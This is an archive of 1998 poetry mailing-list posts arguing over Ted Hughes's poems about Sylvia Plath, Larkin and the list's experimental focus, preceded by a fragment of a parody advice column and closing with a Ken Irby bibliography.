Their bribes--
So many silks.
How they hate you.

* * *

Dear M.T.H.:

Can I still wear black to poetry readings?

Never Say Noir in Santa Fe, NM

Dear Never:

O vase of acid,
It is love you are full of. You know who you hate.
He is hugging his ball and chain down by the gate
That opens to the sea
Where it drives in, white and black,
Then spews it back.
Every day you fill him with soul-stuff, like a pitcher.
Your voice my ear-ring,
Flapping and sucking, blood-loving bat.
That is that. That is that.
You peer from the door,
Sad hag. "Every woman's a whore.
I can't communicate."

* * *

Dear Mrs. Ted:

Can you tell me *your* definition of plagiarism? I need to know because a member of my writing group and so-called former "friend" has accused me of plagiarizing her story. It's true that the plot, the language and, okay, much of the punctuation, in *my* story (which WAS published) does bear a striking resemblance to the (UNPUBLISHED) story she had submitted to our writing group for feedback. But what about her powerful influence on me? Couldn't I have read her story and admired it and simply been the victim of unconscious imitation? If anything, I feel she ought to be flattered. Never-the-less, she has persuaded the

other members of the group to kick me out (see the CONTROL she has over others' minds!?). I desperately want back in, but CERTAINLY not at the expense of my integrity. What do YOU think? Can a person be guilty of stealing something if they don't BELIEVE they stole it?

Kicked down but Climbing Back Up in Baton Rouge, LA

Dear Climber:

The world is blood-hot and personal.

↑ Index

679. **Dale M Smith**
Re: Ted, Sylvia & Phil
Wed 18 Feb 1998

Pierre:

I'm not attentive to Hughes' work, so therefore haven't addressed this thread. But I do have a question for you. Why is "dark, archetypal" "part of the problem?" Are you referring specifically to Hughes' work or to larger problems of poetics? Not to say they don't exist, especially in poetry, but I can see why one might have trouble with archetypes. But the 'dahk' seems like an essential element of a lot of art. Or maybe I'm still spinning from the Cassavete's movie I saw last night. D.

To: [redacted]

> *(In Larkin's defense, he was a jazz lover--that alone should expunge most of one's life's sins.)*
>
> *Finnegan*

James -- ahh, the librarian from Hull -- "jazz" for Larkin died in the thirties. he thought bebop and after was barbaric, uncouth, unlistenable.

-- & re TH : I wld tend to include Hughes "Crow" in my admittedly sweeping denigration of Hughes' work: "dark, archetypal" -- hmm, that's part of the problem, not part of the solution...

Pierre
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://www.albany.edu/^joris/

"What often prevents us from giving ourselves over to

a single vice is that we have several of them."
La Rochefoucauld
==========

↑ Index

680. **k. lederer**
Re: Hughes on Plath
Wed 18 Feb 1998

I like Louise Gluck.....

I remember reading The Wild Iris in Cody's when I was maybe twenty years old--it made me very happy.

Here at the Iowa City book store Prairie Lights they have her first four books in a beautiful hard-bound remaindered edition for five bucks....

I read it before bed...

Yesterday I purchased the blue covered-version of The Gertrude Stein Awards--I liked a lot of stuff in there too.

After I read some of it I opened up the Gluck again and found it no so incompatible--

They're both lovely...

Yeah...
Katy

***

On Wed, 18 Feb 1998, Suzanne Burns wrote:

> *On Wed, 18 Feb 1998, Michael McColl wrote:*
>
> *Pierre Joris couldn't be bothered to explain to me why Hughes poetry on Plath is "drivel." Is this generally the view on this list? Is it a judgment of particular weaknesses in Hughes' poetry, or does Hughes write a kind of poetry which is assumed to be defunct or something? I haven't been on this listserv for long, and i'm sure there are all sorts of shared assumptions I know know thing about. Maybe there is someone who would take a minute, on the list or back of it, to say a word about this.*
>
> *I've wondered about that too, Mike. There does seem to be a shared assumption here, which in itself doesn't bother me so much since I think*

> *this listserve does appeal to readers and poets with a strong shared interest in experimental poetry, language poetry, etc., and I subscribe to this list to hear what they have to say and to talk about they kind of poetry that doesn't always make it into the mainstream.*
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> *What does strike me as unfortunate is when people (anywhere, not just here) toss off judgements (twice even!) without any attempt to substantiate or even play with the idea. When people do that, I have to conclude that they are not interested in ideas-- not even their own ideas.*
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> *I've been in groups before-- we all have-- that went downhill when they became dominated by one poetic "agenda" and a received list of acceptable poets. I am wary of any marks of Cain or claims to demi-God status. Let's please just talk about poetry.*
>
> *Suzanne*

↑ Index

681. **Keston Sutherland**
venom context
Wed 18 Feb 1998

---

to lurch to Pierre's defence: P. is a member of the British Poets' list also, where a vocab. of anti-apologetic vituperation has steadily accrued re: Hughes, Heaney, Larkin; to a fellow BP member, his letter is unsurprising (even approaching a -form- letter). I'd go along with most of what he says. But I do think, or am itching to permit myself to think, that Larkin is starting to get an unproductively nasty press - that is, it's always easy to smack an idol down, sometimes even easy to do so -actually- rather than merely to gesture towards smacking in a fuss of reflex dismissal, but Larkin has become an ENEMY on dogmatic grounds (at least in England). Perhaps it is, in part, due to the awkward fact that Larkin was a clever and adept writer, that it is so commonly found to be worthwhile to make the customary dismissal; his validity as a genuine target for criticism, however, should rather -discourage- dismissal. Dismissal is readily made tactical, and such a tactic readily submits itself to 'communities' as a differential facility; but if what matters is more than mere USism, this facility is just a symptom of vanity. Many writes can be dismissed out of hand, I'd maintain. Larkin isn't quite one of them. Though I hate him as much as the next woman, naturally (nervous simpering).

k

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682. **Harold Rhenisch**
Re: Ted, Sylvia & Phil
Wed 18 Feb 1998

Pierre, you wrote:

>>"dark, archetypal" -- hmm, that's part of the problem, not part of the solution...<<

How so? Why can't it just be neutral? Works if it works. Fails if it fails.

I feel there's still an assumption you haven't explained. I'd rather hear it from you than guess at it.

best,

Harold

[redacted]

↑ Index

683. **Maria Damon**
Re: Hughes on Plath
Wed 18 Feb 1998

At 10:05 AM -0500 2/18/98, Suzanne Burns wrote:

> *I've been in groups before-- we all have-- that went downhill when they became dominated by one poetic "agenda" and a received list of acceptable poets. I am wary of any marks of Cain or claims to demi-God status. Let's please just talk about poetry.*
>
> *Suzanne*

actually, if you read the welcome msg, you'll find that the listserv's agenda is not hidden at all; it is explicitly intended as a forum for discussion of innovative (i can't remember what the exact wording of the msg is, but along those lines) poetics, *not* for a generalized discussion of poetry across the board; tho these sometimes occur, they're by no means central. hence what you consider dismissive is an acknowledgement that hughes is not an important topic for this list. i too was puzzled by what seemed the narrowness of the list when i first joined, but then its purpose is explicitly NOT to be general.--md

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684. **Maria Damon**
Re: Ken Irby
Wed 18 Feb 1998

---

irby is a name i'v heard (mostly from charSSmith--hi there) but not read. any suggestions on where to start, the most accessible (buyable-available) texts etc? tho i've not read him, i'm still thrilled that the good folks have won this round.--md

At 9:22 PM -0500 2/17/98, [redacted] wrote:
>In a message dated 98-02-17 20:44:14 EST, you write:
>
><< I haven't seen the antiphonal Irby of '94 -- anybody know if copies of that
> barely distributed chap. are still available? >>
>
>Aldon,
>
>Ken may still have some copies. Otherwise, you'll need to track down Patrick
>Tillery. Somewhere in this mess I've got an address for him in Seattle that
>was good a couple of years ago. Let me know if no one else can help out better
>than this, & I'll see if I can't find it.
>
>Charles

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685. **Brian McHale**
Re: Dark, archetypal Ted
Wed 18 Feb 1998

I agree with Finnegan, a few rounds back: "Crow" still looks like a good book, maybe even, I don't know, an avant-garde one. But I also agree with Joris: "dark, archetypal" aren't the grounds for making a case for it. Instead, I'd make a case for its language -- raggedy odds and ends; strange diction; much of it reads like speech-balloons from comics. And that would be another grounds for admiring it: "Crow" has some of the adolescent energy of, say, Mar- vel Comics; same scatter-shot iconoclasm, same bad taste. It feels cheap, & I like that. I place it in the same category as, say, "Gunslinger" or Rothen berg's "Cokboy," its near-contemporaries. Or Kenneth Bernard's "Baboon in the Restaurant" -- has anyone read that? Hughes picked it for a poetry prize in England, and got a lot of grief for that. It was one of his last "tasteless" acts,and I admire him for having done it. Credit where credit's due. Brian

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686. **dbkk**

dead frog's legs touched by electrodes

Wed 18 Feb 1998

> *Date: Tue, 17 Feb 1998 23:05:26 EST*
> *From: Michael McColl <[redacted]>*
> *Subject: Re: Fenton on Hughes' Plath*
>
> *While Hughes is not my favorite poet, "poetic triteness and drivel" doesn't accurately describe the poems on Plath. Venom seems to distort that judgment, IMHO. Name a line or a poem, at least.*

I'm halfway through the book, and I would agree with Pierre that it is indeed quite trite, quite drivel. Amazingly so. Unlenting "I" and "you" autobiography overburdened with metaphor after metaphor, often more than one per line so that the lines sag like impossibly heavily ornamented Christmas tree boughs:

. . . She fed snapshots
Of you and she did not know what
Inflammable celluoid into my silent
Insatiable future, my blind-man's buff
Internal torch of search.

In the same poem (Visit) he brings up his good friend Lucas. Instead of just saying "my good friend Lucas," he goes on for five endless lines:

Lucas, my friend, one
Among those three or four who stay unchanged
Like a separate self,
A stone in the bed of the river
Under every change . . .

Personally, I think he should lose the stone in the river line.

I'm reading the book, which was a present, but I asked for it, so I have to take responsibility there--because I'm a great admirer of Plath and have read many books on her the past 15 years. I think she's a great writer and needs no defending--and if she does need defending, Jacqueline Rose has already done it wonderfully in her _The Haunting of Sylvia Plath_.

Hughs' attitude towards Plath is condescending, much about how squeaky clean American she is as opposed to his dark wildness. I'm sure people from other countries have good reason to scorn Americans, but his repeated lazy and trivial use of the word American is irritating.

Kevin (Killian) has read the whole book, and last weekend he was reading to me the part where Assia Gutman comes into the story--for those of you who don't know The Story, she's the one Hughs was having the affair with, an affair which

sparked Plath and Hughs' breakup. Kevin read to me how Plath and Hughs were puppets in Assia's dark karma, whatever. But definitely they were her puppets. Then I started reading the book and on page 7, Hughs writes of his relationship with Plath:

Nor did I know I was being auditioned
For the male lead in your drama,
Miming through the first easy movements
As if with eyes closed, feeling for the role.
As if a puppet were being tried on its strings,
Or a dead frog's legs touched by electrodes.

"He's a puppet again!" I shrieked. "This guy doesn't take responsibility for his actions."

Reading this book makes me more impressed with Plath--if she was living under the thumb of this kind of "drivel," she truly was a genius to break out of it, to get to a place way beyond this kind of stodgy confessionalism.

Dodie

↑ Index

687. Maryrose Larkin
Re: Ken Irby
Wed 18 Feb 1998

Maria:

Call Steps is a good place to start, it is a compilation of earlier work, available from
Station Hill Press

Maryrose Larkin

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688. William Burmeister Prod
Re: Ted, Sylvia & Phil
Wed 18 Feb 1998

> Why is "dark, archetypal" "part of the
> problem?" Are you referring specifically to Hughes' work or to larger problems
> of poetics? Not to say they don't exist, especially in poetry, but I can
> see why one might have trouble with archetypes. But the 'dahk' seems like
> an essential element of a lot of art. Or maybe I'm still spinning from the
> Cassavete's movie I saw last night. D.

>I agree with Finnegan, a few rounds back: "Crow" still looks like a good book,
>maybe even, I don't know, an avant-garde one. But I also agree with Joris:
>"dark, archetypal" aren't the grounds for making a case for it. Instead, I'd
>make a case for its language -- raggedy odds and ends; strange diction; much
>of it reads like speech-balloons from comics. And that would be another
>grounds for admiring it: "Crow" has some of the adolescent energy of, say, Mar-
>vel Comics; same scatter-shot iconoclasm, same bad taste. It feels cheap,
>& I like that. I place it in the same category as, say, "Gunslinger" or Rothen
>berg's "Cokboy," its near-contemporaries. Or Kenneth Bernard's "Baboon in the
>Restaurant" -- has anyone read that? Hughes picked it for a poetry prize in
>England, and got a lot of grief for that. It was one of his last "tasteless"
>acts,and I admire him for having done it. Credit where credit's due.
> Brian

Pierre wouldn't be afraid of the dark would he be?

Great post Brian! Truly I say to you that I have not found faith like this in all of Listserv land. Seriously though--I wouldn't have considered reading Hughes much (especially after seeing the stanzas posted here lately) save for the case that you make for "Crow" on this list.

William

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689. Michael Franco
GERRIT LANSING Greetings and Reading
Wed 18 Feb 1998

Dreamer of the purified fury and fabulous habit.

The Word of Mouth reading series will present a special evening at Waterston's books [Newbury at Exeter St, Boston]

GERRIT LANSING A 70th Birthday celebration

Wed. Feb 25th 1998

7pm

Free

Reading by Gerrit Lansing and readings fromthe field of his work by Joseph Torra, William Corbett, Raffael de Gruttula, Ange Mlinko, Michael Franco, Isabel Pinto Franco, Thorpe Feidt, Elie Yarden, Christopher Sawyer Laucanno, Patricia Pruitt, and other "special guests"

Any one on the list wishing to send greetings to Gerrit can do so via Email [[redacted] or on foot @ 34 Jason Street Arlingotn Ma. 02174-6409]

Gerrit's most recent edition is available from Talisman
all best

Michael Franco/Wom.

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690. **David Zauhar**
Kenneth Irby, where to begin?
Wed 18 Feb 1998

Another good place to start might be that collection of poems and workshop conversations edited by Lee Bartlett, called _Talking Poetry_ (University of New Mexico, 1987). Irby has 5 poems and one of the more interesting discussions (in a book that includes discussions w/ Clark Coolidge, Theodore Enslin, William Everson and several others. Maria: I know for a fact that the Wilson Library at U of M has it, since I killed a snowy afternoon in there once by reading it. The call number, if I remember correctly, is PS/325/T3/1986

David Zauhar
University of Illinois at Chicago

"My religion makes no sense
and does not help me
therefore I pursue it."

--Anne Carson

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691. **Michael McColl**
Re: Fenton on Hughes' Plath
Wed 18 Feb 1998

Pierre--I do appreciate you taking the time to set out some of your thinking on this, and I'll make an effort to compare Hughes to the poet you mention liking better. There are some things in your message I'd like to take up for discussion that don't necessarily have to be thought about with relation to Hughes, and after I get enough sleep to *sort of* think, which is what I do at best anyway, I'll give it a shot.

Mike McColl

On Wed, 18 Feb 1998 09:22:29 -0400 Pierre Joris said:

Mike -- sorry, I certain ly didn't want to sound dismissive in terms of your inquiry -- it truly is a thing of time -- and yesterday the mail brought 4 _new_ books I would much rather read than think about TH -- while also preparing for the arrival of Allen Fisher, to my mind one of the very best British poets writing right now (BTW -- read Fisher & you'll see immediately why I don't care for TH's poetry).

Briefly then, Ted Hughes, for me, is a very traditionalist, british establishment poet, whose language and imagery I find trite indeed in that they use the most cliched poetic topi without in anyway renewing them; whose line is flat-footed and rhythmically dead (listen to it -- it just kind of drones, or at best gets a chummy story-in-the-pub quality to it -- old-boy-network ¼ la English country-gentleman mitigated by a mytho-male-ish Iron Johnish swagger) . It is the old "lyric" -romantic tradition as if nothing had happened in poetry or the world for the last hundred years, except for Eliotian modernism (free verse) and the confessional exaltation of personal neurosis as dynamo & authoriy for legitimization of "truth in poetry". There's no sweep, no sense of language (it's that dreary old transparent mimetic medium), no excitement -- it is stifling official safe "verse" of exactly the kind required to become a poet laureate. The British cultural establishment needs such types & glorifies just such a minor poetry (as it did also glorify that other dullard, the librarian from Hull) -- just as every Brit generation needs its token tame Irish poet -- Shameless Hussy, I mean Seamus Heany being this generation's 'official (Anglo)-Irish Poet. The problem is not so much the Hughes & Heany's -- everyone obviously has the right to write as they seem fit -- but rather the fact that the cultural establishment (from the Crown on down via Poetry Societies and the publishers to the media and the school system) sets up the likes of H & H as the great, canonical, etc. poetry of the times, and that that setup has specific cultural-political agendas of the most reactionary kind. 'Nuff said for now.

Just let me add that if you would like a sense of what's new in English poetry, have a look at anthologies such as CONDUCTORS OF CHAOS ed. by Iain Sinclair, (Picador) THE NEW BRITISH POETRY ed. by Allnutt, aguiar, edwards and mottram, (Paladin) FUTURE EXILES --Fisher, Griffiths, Catling -- (Paladin) or OUT OF NOWHERE ed. o'sullivan & mulford (reality street editions).

Pierre

Michael McColl wrote:

Well, I'm sorry you won't take your time. Now I doubt the worth of your judgment more generally, and will remember to discount other statements you make elsewhere. While that's not going to be a problem for you, it's nice when there is actual conversation and use of thought.

> *Mike McColl*
>
> --
> *==========*
> *pierre joris 6 madison place albany ny 12202*
> *tel/fax* [redacted] *email:*[redacted]
> *http://www.albany.edu/~joris/*
> *----------*
>
> *"What often prevents us from giving ourselves over to*
> *a single vice is that we have several of them."*
> *La Rochefoucauld*
> *==========*

↑ Index

692. **Michael McColl**
Re: dead frog's legs touched by electrodes
Wed 18 Feb 1998

I've only read the selection in the new yorker; maybe they culled some of the better ones, I don't know. But the phrase "unrelenting I and you autobiography" makes no sense to me. Why is autobiography anymore unrelenting than its absence? (Just trying to pick up on some assumptions that are evidently obvious to many here, and not for that reason anything wrong or sinister, just not exactly clear to me--asking for a bit of patience and a brief explanation where possible).

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693. **Judy Roitman**
Re: dead frog's legs touched by electrodes
Wed 18 Feb 1998

> *I've only read the selection in the new yorker; maybe they culled some of the better ones, I don't know. But the phrase "unrelenting I and you autobiography" makes no sense to me. Why is autobiography anymore unrelenting than its absence? (Just trying to pick up on some assumptions that are evidently obvious to many here, and not for that reason anything wrong or sinister, just not exactly clear to me--asking for a bit of patience and a brief explanation where possible).*

"I and you" that's what (I suspect) appears as unrelenting.

Isn't that what autobiography is automatically about? inquiring minds want to know.

A: No.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas |
memory fails Lawrence, KS 66045 | these are the days."
[redacted] | fax: [redacted] | Larry Eigner,
1927-1996 ---------- Note new area
code ----------
http://www.math.ukans.edu/~roitman/

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694. **Fred Muratori**

Vile, Nasty Animals

Wed 18 Feb 1998

I think I was the one who mentioned the "nasty animals" in Hughes, so this revival of the thread gives me an opportunity to elaborate a bit. Hughes' nasty animal poems are relatively powerful because of the intensity with which they convey remoteness, the sheer distance between the object of the poem and what we like to think of as humanness (as laden with delusion and wishful thinking as that concept may be). This is what might account for their "darkness." To feel (however the mediating, romanticizing mechanisms of the poem transmit the feeling) that we are being exposed to the consciousness of a thing that exists only to kill, eat, and reproduce -- something that never needs to visit a therapist, take an aptitude test or decide how to vote -- either enforces our alienation from what are after all the core values of basic physical existence on the planet, or else prompts the possible realization that yeah, take our jobs, e-mail, and Subarus away and we'd be swooping down on tasty lil' bunnies all day, too. Incidentally, for some reason it seems that the British are especially good at writing poems that convey such alienating subject matter (or alienating artifices of conveyance) -- think of Craig Raine and the "Martian School," even that old street-wandering ersatz-Englishman TSE himself. Larkin, too -- that remoteness, again; that awful cold -- but this time it's inside permeating the "civilized" self and we can't just foist it off on the lowly critters. The first American poet I think of who matches this feeling is Stevens; in fact, I can't read _Crow_ without thinking of "13 Ways..." True, I haven't read all of TH's Plath poems yet, other than the ones in the N'Yorker and elsewhere, but if they fall flat for me it's because they're largely domestic monologs of the kind that take up most of the poetry books and journals I see these days -- a notch more accomplished, yes -- but remove the strictly personal history, the mythology of Ted and Sylvia, and the voice too easily gets absorbed in the din of all the other voices who have been mumbling those unremarkable "here's what happened to me yesterday" poems/verse-diary-entries for decades. I respect Hughes as a

poet, but being Joe Human may just not be his strong suit. The man's more at home when he's feeding the pike in his aquarium.

-- Fred M.

> *Who was it a few months ago that said that Hughes wrote some effective poems about nasty animals attacking other nasty animals? That seems to be the strength of his earlier work. Crow impressed me years ago with its fine nastiness, though I haven't followed him in the last decade or so. The snippets I have seen quoted from the Plath book are quite vile.*
>
> *That said, I much prefer Hughes to Larkin. I was quite surprised a few years ago when the revelations about Larkin's racism, sexism and general nastiness came out. I was not surprised at the revelations, but at the surprise they evoked in others. I had always read his poetry as the expression of a sort of snide British anti-intellectual xenophobic resentful postwar anti-modernist mindset. He condemned the three "Ps": "Picasso, Pound, Parker," who had ruined painting, poetry, and jazz, in his opinion.*
>
> *Jonathan Mayhew*
> *Department of Spanish and Portuguese*
> *3062 Wescoe Hall*
> *University of Kansas*
> [redacted]
> [redacted]

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html
****

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695. **Suzanne Burns**
Re: Hughes on Plath
Wed 18 Feb 1998

As I said, this forum's discussion of the more experimental branch of poetry was precisely why I subscribed. I'm interested in the subject just as much as you are.

AND I would like to suggest that it is possible to maintain this focus on innovative work without dismissing work outside of this concern in such an offhand and unsupported manner and without resorting to this "us against them" rhetoric, aesthetic dogmas or factionalism. Whatever this is about, it is not about poetry, experimental or otherwise.

None of us live in a vacuum. Most of us probably have a wide range of interests and influences as well as an interest in experimental poetry, and I have noticed that these have factored into past threads in a broadminded and productive way that does not presume one ruling point of view. A fresh look and an open mind is usual the starting point for innovation.

Suzanne

On Wed, 18 Feb 1998, Maria Damon wrote:

> *At 10:05 AM -0500 2/18/98, Suzanne Burns wrote:*
>
> *I've been in groups before-- we all have-- that went downhill when they became dominated by one poetic "agenda" and a received list of acceptable poets. I am wary of any marks of Cain or claims to demi-God status. Let's please just talk about poetry.*
>
> *Suzanne*
>
> *actually, if you read the welcome msg, you'll find that the listserv's agenda is not hidden at all; it is explicitly intended as a forum for discussion of innovative (i can't remember what the exact wording of the msg is, but along those lines) poetics, *not* for a generalized discussion of poetry across the board; tho these sometimes occur, they're by no means central. hence what you consider dismissive is an acknowledgement that hughes is not an important topic for this list. i too was puzzled by what seemed the narrowness of the list when i first joined, but then its purpose is explicitly NOT to be general.--md*

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696. **James Finnegan**
Re: Dark, archetypal Ted
Wed 18 Feb 1998

In a message dated 98-02-18 13:09:48 EST, you write:

<< "dark, archetypal" aren't the grounds for making a case for it. Instead, I'd make a case for its language -- raggedy odds and ends; strange diction; much of it reads like speech-balloons from comics. And that would be another

grounds for admiring it: "Crow" has some of the adolescent energy of, say, Marvel Comics >> Brian, I agree with what you've said in the main--& true, there's some startling humor in Crow. However, I do think that many of those Marvel comix characters are very dark & archetypal.

Finnegan

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697. **Robert Zamsky**
Re: Lacan on Poetry/oops
Wed 18 Feb 1998

Pierre Joris wrote

"ahh, the cat is out of the bag: the old self-fulfilling prophecy: if there is criticism of the Freudian couch, then it is the patient who failed -- obviously it couldn't be the analyst or the analyst's system of beliefs -- and all criticism on the "patient's" part can then be construed as "resentment" which feeds it straight back into the psychoanalytic machinery -- three more years on the couch at so much an hour..."

I think this misrepresents Joe Brennan's remarks. Yes, partly he is suggesting that the issue may be that of a resentment based on the patient's failure, but this is couched within Lacan's own disapproval of American psychoanalysis. As I read it, the failure Brennan is discussing is not the fault of the patient, but that of the particular framework in which the analysis took place. Further, I would say that Brennan's point here is demonstrated by Mr. Weiss's elision of psychoanalysis and psychotherapy.

Robert Zamsky

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698. **James Finnegan**
Re: Ted, Sylvia & Phil
Wed 18 Feb 1998

In a message dated 98-02-18 10:28:37 EST, you write:

<< Uh, Larkin was a jazz "lover" who hated virtually everything that sounded stylistically later than about the year 1950, or about half of jazz's recorded history, so I'm not sure how much of a defense that is. >> Herb & Pierre, you're right, he's going to hell afterall.

Finnegan

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699. Charles Weigl
Re: Hughes on Plath
Wed 18 Feb 1998

Maria Damon wrote:
> actually, if you read the welcome msg, you'll find that the listserv's
> agenda is not hidden at all; it is explicitly intended as a forum for
> discussion of innovative (i can't remember what the exact wording of > the msg is, but along those lines) poetics, *not* for a generalized > discussion of poetry across the board.

maria:

here's the full quote about the poetics list's "project" as stated in the welcome message. i can't figure out why so many people can't seem to get their heads around it...

"The definition of that project, while provisional, and while open to continual redefinition by list participants, is nonetheless aversive to a generalized discussion of poetry. Rather, our aim is to support, inform, and extend those directions in poetry that are committed to innovations, renovations, and investigations of form and/or/as content, to the questioning of received forms and styles, and to the creation of the otherwise unimagined, untried, unexpected, improbable, and impossible."

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700. David Zauhar
Re: Kenneth Irby, where to begin?
Wed 18 Feb 1998

On Wed, 18 Feb 1998, Miekal And wrote:

> *I think that interview with Clark Coolidge had more effect on my life as a writer than anything else I ran into in those years. I seem to remember that I wore my copy of it out...I believe there was a second volume which I never found.*
>
> *Now David, exactly how many call numbers do you remember?*
>
> *m*

How many call numbers? Well, every single one of them. That happen to be printed on the title page of the book I'm holding in my hand, that is. If there's a second volume, I never found it either. And if there isn't there should be.

DZauhar

↑ Index

701. **Harold Rhenisch**

turf wars

Wed 18 Feb 1998

When Pierre wrote

> *The problem is not so much*
> *the Hughes & Heany's -- everyone obviously has the right to write as they*
> *seem fit -- but rather the fact that the cultural establishment (from the*
> *Crown on down via Poetry Societies and the publishers to the media and the*
> *school system) sets up the likes of H & H as the great, canonical, etc.*
> *poetry of the times, and that that setup has specific cultural-political*
> *agendas of the most reactionary kind*

I take it that the current discussion or, rather, dismissal, of Hughes is a turf war. The argument appears to be more against Hughes' position of influence than it is against his poetry.

Sadly, from what I've seen on this list and others, many people, even language poets, enjoy turf wars and even the poetics list can stray into specific cultural-political agendas of the most reactionary kind.

This is about as bad for the poetics list as it is for Hughes. Maybe it's a personal question:

What takes precedence: political manoevering or poetics? There's nothing saying they have to be synonymous.

As for *the new british poetry*, a fine book, but as uneven as any big anthology could be. There's even some stuff in there that is sad and bad. I personally enjoy the poems written in various dialects.

Such as Merle Collins' (from _Callaloo_)

> ...Dat is what it feel like
> to be part o' dis
> Revolution reality
> O' dis
> wakin' up reality
> o' dis
> no more hidin' you passport
> reality
> no more
> hangin' you head
> an' shufflin' you foot
> an' tryin' to hide
> behin' de person
> in front o' you

like little janet
behin' she mudder skirt...

I wish we had more of that, eh.

But then, I think we have a chance to make a new written language, and as long as we don't take the plunge to abandon conventional English, we're all just grinding our gears. Visual poetry, Language poetry, etc., are trying to do a similar thing, but they sure aren't the only ways.

I'm with Suzanne on this. Hughes is as good a place to start as any.

Harold Rhenisch
[redacted]

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702. Henry Gould
crow
Wed 18 Feb 1998

Crows play quite a part in poetry, don't they? I think they're in the early Russian folk epics a lot. Mandelstam played with the name of the town he was exiled in: Voronezh - as "voron"-"nozh" or raven knife, something like that. then there's Poe's famous poim. Cautantowwit or Raven was the chief god of the Narragansetts - ruler the land of the dead in the southwest. "as the crow flies".

Maybe one way to look at Hughes is as a poet who put on the mask of wildness, the primitive - to break out of British civilization - only to find experience - "ordinary" experience - more terrible than anything he played with in his imagination... he's never been humbled, never eaten crow - but maybe the crow ate him... (but I don't really know the story)

- Henry Gould

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703. MAYHEW
poetics seminar
Wed 18 Feb 1998

Anyone on the list living in Lawrence or environs please backchannel if we haven't been in contact yet. I am thinking of organizing a poetics seminar here through the Humanities center.

Jonathan Mayhew
Department of Spanish and Portuguese
3062 Wescoe Hall
University of Kansas

[redacted]

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704. **Bob Grumman**
Re: Vile, Nasty Animals
Wed 18 Feb 1998

Yes, I also believe Hughes's crow flew out of Stevens (which I don't intend as a knock on Hughes's crow, whom I esteem and have been influenced by); but the precise poem by Stevens that I believe the crow flew out of is the wonderful "No Possum, No Sop, No Taters." Stevens's bird was earlier in Frost, who got him from Hardy, who got him probably from Shelley, who probably got him from Wordsworth, who didn't invent him.

--Bob G.

↑ Index

705. **George Bowering**
Re: Vizpo, Oh no!
Wed 18 Feb 1998

> *3. Latin America visual poets have been oft-heard in the U.S. If you would like, I (along with Luigi-Bob Drake, Miekal And, Bob Grumman, and others) could work up a bibliography of work published in the 1990's (or as far back as you would like).*
>
> *Best, Crag Hill*

I hope that you give space and honour to Pedro Xisto

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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706. **David Zauhar**
Hughes, Plath, Polemics
Wed 18 Feb 1998

Harold R (I believe) wrote...

"I take it that the current discussion or, rather, dismissal, of Hughes is a turf war. The argument appears to be more against Hughes' position of influence than it is against his poetry."

I think the anti-Hughes contingent is making the point that the quality of Hughes' poetry is not commensurate with his position of influence. And I think that is a legitimate point to be made. Suzanne also raised some good points about the need for openness on the list (sorry I can't quote it precisely) but I would only point out that many of the people who are dismissing Hughes' recent work may have already read it with an open mind and came to a conclusion with which I may not agree. THe fact that they phrase these rejections strongly... well, polemic has a long and honored tradition in literature, and I'm glad to see it's not dead. Walt Whitman, hero to many on this list I'm sure, was once reviewed by someone who said "Mr. Whitman is as acquainted with art as a hog is with mathematics." I don't agree, history has proved this critic wrong, but it's still a good line. Who knows. Perhaps as finnigan says Ted Hughes will still be read in subsequent centuries. That doesn't mean occupants of the current one need to restrain themselves from making critiques of his verse and his person. And while Hughes isn't around these parts to defend himself, he obviously has supporters who can and will.

David Zauhar
University of Illinois at Chicago

"My religion makes no sense
and does not help me
therefore I pursue it."

--Anne Carson

↑ Index

707. **charssmith**
Irby Checklist
Wed 18 Feb 1998

In a message dated 98-02-18 12:53:22 EST, Maria Damon writes:

<< irby is a name i'v heard (mostly from charSSmith--hi there) but not read. any suggestions on where to start, the most accessible (buyable-available) texts etc? >>

aww Maria, you shdn't have gotten me started!

As Pierre wrote yesterday, the "most" (read "only") accessible Irby in book form is _Call Steps_ (Station Hill/Tansy, 1992), available as always from SPD ([redacted], http://www.spdbooks.org/). That volume gathers material from

1977-1979 & is a great place to start. The 2 poems in Apex of the M #6 (hi Kristen!) are knockouts --that should be readily findable. The chapbook _Antiphonal & Fall to Fall_ (Kavyayantra, 1994) is the only book to gather work written since then & is practically unavailable. I think there may be new poems in the most recent First Intensity, but I just unearthed a resubscribe notice sent last summer, so I don't have that issue at hand. Used copies of _Relation_ (Black Sparrow, 1970) occasionally show up. *Somebody* should reprint _To Max Douglas_ (Tansy 1971, 1974), _Archipelago_ (Tuumba, 1976), & _Catalpa_ (Tansy, 1977) except that there are at least two unpublished mss. from the 70's, and reams (?) of poems from the 80's & 90's. There are also three very obscure early publications: _Kansas/New Mexico_ (Formula Series Number One, Lawrence, 1965), _Movements /Sequences_ (Duende #8, 1965), and The Flower Of Having Passed Through Paradise In A Dream_ (Matter, 1968).

Let me restate. The most recent full collection by Ken Irby gathers work through 1979. There are now two decades worth of work that remains largely inaccessible by a man who is repeatedly mentioned in conversation by many many different writers of various stripes as one of the most highly underrated, underpublished major (can I use that word?) poets in America today. "Marginal," "Underground," "Fugitive" hardly suffice. The situation won't change anytime in the near future.

I've spent most of today compiling the following list. There are the makings for at least three books or more in it. The four reading/reviews would make a great poetics book. (There are more early reviews in places like Kulchur, Poetry, & Caterpillar.) There are tapes at Naropa of a class Ken taught in the early 90's, on "The Elegiac" that are poorly organized but well worth listening to. There may be tapes of a Whitman seminar he taught at the New College in the mid/late 80's. I originally set out to just list recent pubs, but realized that there is *so* much out there forgotten in journals that really should be remembered --so, it's a tad compulsive, though not complete. Maybe someone will find it useful?

all best,
Charles Smith

> the full penalty of the obligation
> losing, *never* finding the Word?
>
> so, finally <<the assumption about who's there>>
> *is* the crux, and <<who cannot answer>>?

--Ken Irby, from "[Reunion]" _Call Steps_

a checklist (incomplete) of recent (& not-so) Irby journal contributions:

First Intensity #1 (Summer 1993):
"doctor into the night life ..."
"some high new tangerine wax fancy"
"[a small classical flagstone landscape mystery, as wool to murex]"
First Intensity #2 (Fall 1994):
"Evangel of the Morning, bright messenger"
"[to almost midnight New Year's Eve in Glasgow]"
First Intensity #4 (Winter 1995):
"There is the bare and rich delight of coming back ..."
First Intensity #5 (Summer 1995):
"[from Three Sets of Three – III]"
First Intensity #6 (Winter 1996):
"[from Three Sets of Three – II]"
First Intensity #8 (Winter 1997):
"crow talk, woodpecker, brother clouds ..."
